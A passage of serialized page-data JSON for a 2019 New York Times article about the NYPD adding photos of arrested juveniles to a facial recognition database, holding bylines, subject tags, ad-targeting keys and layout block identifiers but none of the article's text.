type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.72","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.73","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.74","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.75","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.76","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.77","typename":"RelatedLinksBlock"}]},"AdTargetingParam:als_test1565027040168":{"key":"als_test","value":"1565027040168","__typename":"AdTargetingParam"},"AdTargetingParam:propnyt":{"key":"prop","value":"nyt","__typename":"AdTargetingParam"},"AdTargetingParam:platweb":{"key":"plat","value":"web","__typename":"AdTargetingParam"},"AdTargetingParam:ednus":{"key":"edn","value":"us","__typename":"AdTargetingParam"},"AdTargetingParam:brandsensitivefalse":{"key":"brandsensitive","value":"false","__typename":"AdTargetingParam"},"AdTargetingParam:per":{"key":"per","value":"","__typename":"AdTargetingParam"},"AdTargetingParam:orgpolicedepartmentnyc":{"key":"org","value":"policedepartmentnyc","__typename":"AdTargetingParam"},"AdTargetingParam:geonewyorkcity":{"key":"geo","value":"newyorkcity","__typename":"AdTargetingParam"},"AdTargetingParam:desjuveniledelinquency,facialrecognitionsoftware,privacy,surveillanceofcitizensbygovern,police,civilrightsandliberties":{"key":"des","value":"juveniledelinquency,facialrecognitionsoftware,privacy,surveillanceofcitizensbygovern,police,civilrightsandliberties","__typename":"AdTargetingParam"},"AdTargetingParam:spon":{"key":"spon","value":"","__typename":"AdTargetingParam"},"AdTargetingParam:authaliwatkins,josephgoldstein":{"key":"auth","value":"aliwatkins,josephgoldstein","__typename":"AdTargetingParam"},"AdTargetingParam:col":{"key":"col","value":"","__typename":"AdTargetingParam"},"AdTargetingParam:collnewyork,usnews,technology,techandsociety":{"key":"coll","value":"newyork,usnews,technology,techandsociety","__typename":"AdTargetingParam"},"AdTargetingParam:artlenmedium":{"key":"artlen","value":"medium","__typename":"AdTargetingParam"},"AdTargetingParam:ledemedsznone":{"key":"ledemedsz","value":"none","__typename":"AdTargetingParam"},"AdTargetingParam:gui":{"key":"gui","value":"","__typename":"AdTargetingParam"},"AdTargetingParam:templatearticle":{"key":"template","value":"article","__typename":"AdTargetingParam"},"AdTargetingParam:typart,oak":{"key":"typ","value":"art,oak","__typename":"AdTargetingParam"},"AdTargetingParam:sectionnyregion":{"key":"section","value":"nyregion","__typename":"AdTargetingParam"},"AdTargetingParam:si_sectionnyregion":{"key":"si_section","value":"nyregion","__typename":"AdTargetingParam"},"AdTargetingParam:id100000006583622":{"key":"id","value":"100000006583622","__typename":"AdTargetingParam"},"AdTargetingParam:trend":{"key":"trend","value":"","__typename":"AdTargetingParam"},"AdTargetingParam:ptnt10,nt15,nt16,nt18,nt3,nt4,nt9":{"key":"pt","value":"nt10,nt15,nt16,nt18,nt3,nt4,nt9","__typename":"AdTargetingParam"},"AdTargetingParam:gscatneg_mastercard,gs_law_misc,neg_chanel,gv_crime,neg_hearts,gs_tech,gs_law,gs_tech_computing,neg_ibmtest,gs_tech_phones,neg_samsung,gs_education":{"key":"gscat","value":"neg_mastercard,gs_law_misc,neg_chanel,gv_crime,neg_hearts,gs_tech,gs_law,gs_tech_computing,neg_ibmtest,gs_tech_phones,neg_samsung,gs_education","__typename":"AdTargetingParam"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0":{"displayName":"Joseph Goldstein","__typename":"Person","url":"","contactDetails":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails","typename":"ContactDetails"},"legacyData":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.legacyData","typename":"PersonLegacyData"}},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1":{"displayName":"Ali Watkins","__typename":"Person","url":"","contactDetails":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails","typename":"ContactDetails"},"legacyData":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.legacyData","typename":"PersonLegacyData"}},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0":{"creators":[{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0","typename":"Person"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1","typename":"Person"}],"__typename":"Byline","renderedRepresentation":"By Joseph Goldstein and Ali Watkins"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.displayProperties":{"fullBleedDisplayStyle":"","__typename":"CreativeWorkDisplayProperties","serveAsNyt4":false},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.0":{"__typename":"Organization","vernacular":"NYPD","isAdvertisingBrandSensitive":false,"displayName":"Police Department (NYC)"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.1":{"__typename":"Subject","vernacular":"Juvenile delinquency","isAdvertisingBrandSensitive":false,"displayName":"Juvenile Delinquency"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.2":{"__typename":"Subject","vernacular":"Facial Recognition","isAdvertisingBrandSensitive":false,"displayName":"Facial Recognition Software"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.3":{"__typename":"Subject","vernacular":"Privacy","isAdvertisingBrandSensitive":false,"displayName":"Privacy"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.4":{"__typename":"Subject","vernacular":"Government Surveillance","isAdvertisingBrandSensitive":false,"displayName":"Surveillance of Citizens by Government"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.5":{"__typename":"Subject","vernacular":"Police","isAdvertisingBrandSensitive":false,"displayName":"Police"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.6":{"__typename":"Subject","vernacular":"Civil Rights","isAdvertisingBrandSensitive":false,"displayName":"Civil Rights and Liberties"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.7":{"__typename":"Location","vernacular":"NYC","isAdvertisingBrandSensitive":false,"displayName":"New York City"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.headline":{"default":"She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.","__typename":"CreativeWorkHeadline","default@stripHtml":"She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.","seo@stripHtml":""},"Organization:T3JnYW5pemF0aW9uOm55dDovL29yZ2FuaXphdGlvbi9jMjc5MTM4OC02YjE2LTVmZmQtYTExOS05NmVhY2IxOTg5YzE=":{"id":"T3JnYW5pemF0aW9uOm55dDovL29yZ2FuaXphdGlvbi9jMjc5MTM4OC02YjE2LTVmZmQtYTExOS05NmVhY2IxOTg5YzE=","displayName":"New York Times","__typename":"Organization"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.printInformation":{"page":"1","section":"A","publicationDate":"2019-08-02T04:00:00.000Z","__typename":"PrintInformation","edition":"NewYork","headline@stripHtml":"In New York, Police Computers Scan Faces, Some as Young as 11"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.0":{"name":"mobile","stride":4,"threshold":3,"__typename":"SprinkledConfig"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.1":{"name":"desktop","stride":7,"threshold":3,"__typename":"SprinkledConfig"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.2":{"name":"mobileHoldout","stride":6,"threshold":3,"__typename":"SprinkledConfig"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.3":{"name":"desktopHoldout","stride":8,"threshold":3,"__typename":"SprinkledConfig"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.4":{"name":"hybrid","stride":4,"threshold":3,"__typename":"SprinkledConfig"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled":{"configs":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.0","typename":"SprinkledConfig"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.1","typename":"SprinkledConfig"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.2","typename":"SprinkledConfig"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.3","typename":"SprinkledConfig"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.4","typename":"SprinkledConfig"}],"__typename":"SprinkledContent"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.0":{"__typename":"HeaderBasicBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.1":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.2":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.3":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.4":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.5":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.6":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.7":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.8":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.9":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.10":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.11":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.12":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.13":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.14":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.15":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.16":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.17":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.18":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.19":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.20":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.21":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.22":{"__typename":"ImageBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.23":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.24":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.25":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.26":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.27":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.28":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.29":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.30":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.31":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.32":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.33":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.34":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.35":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.36":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.37":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.38":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.39":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.40":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.41":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.42":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.43":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.44":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.45":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.46":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.47":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.48":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.49":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.50":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.51":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.52":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.53":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.54":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.55":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.56":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.57":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.58":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.59":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.60":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.61":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.62":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTU